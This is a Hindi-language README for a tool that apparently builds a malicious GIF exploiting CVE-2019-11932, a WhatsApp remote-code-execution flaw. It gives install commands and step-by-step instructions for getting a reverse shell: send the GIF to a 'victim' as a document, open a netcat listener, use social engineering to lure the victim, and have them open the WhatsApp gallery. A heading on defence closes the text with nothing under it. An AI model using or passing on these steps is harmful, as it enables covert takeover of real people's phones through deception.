WhatsPayloadRCE

यह CVE-2019-11932 (WhatsApp रिमोट कोड एक्ज़ीक्यूशन) के लिए एक स्वचालित पेलोड जनरेटर है

1. GCC का स्वचालित इंस्टॉल (कोई हानिकारक कमांड नहीं, आप देख सकते हैं कि यह ओपन-सोर्स है)
2. .GIF फ़ाइल में सेव करना

कैसे उपयोग करें ?

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

स्क्रीनशॉट

शेल कैसे प्राप्त करें ?

1. आप पीड़ित उपयोगकर्ता को .GIF फ़ाइल एक दस्तावेज़ के रूप में भेजें, इमेज के रूप में नहीं
2. और nc / netcat को उस पोर्ट पर सेट करें जो आपने WhatsRCE टूल्स में सेट किया है {nc -lnvp your_port}
3. आप सोशल इंजीनियरिंग हमले का उपयोग कर सकते हैं ताकि पीड़ित इस एक्सप्लॉइट को लॉन्च करने के लिए आकर्षित हो सकें
4. पीड़ित को whatsapp के माध्यम से गैलरी खोलने के लिए कहें और पीड़ित को कोई भी फोटो भेजने के लिए कहें। उसके बाद कुछ सेकंड बाद आपको पीड़ित से एक शेल कनेक्शन प्राप्त होगा

इस हमले से कैसे बचें?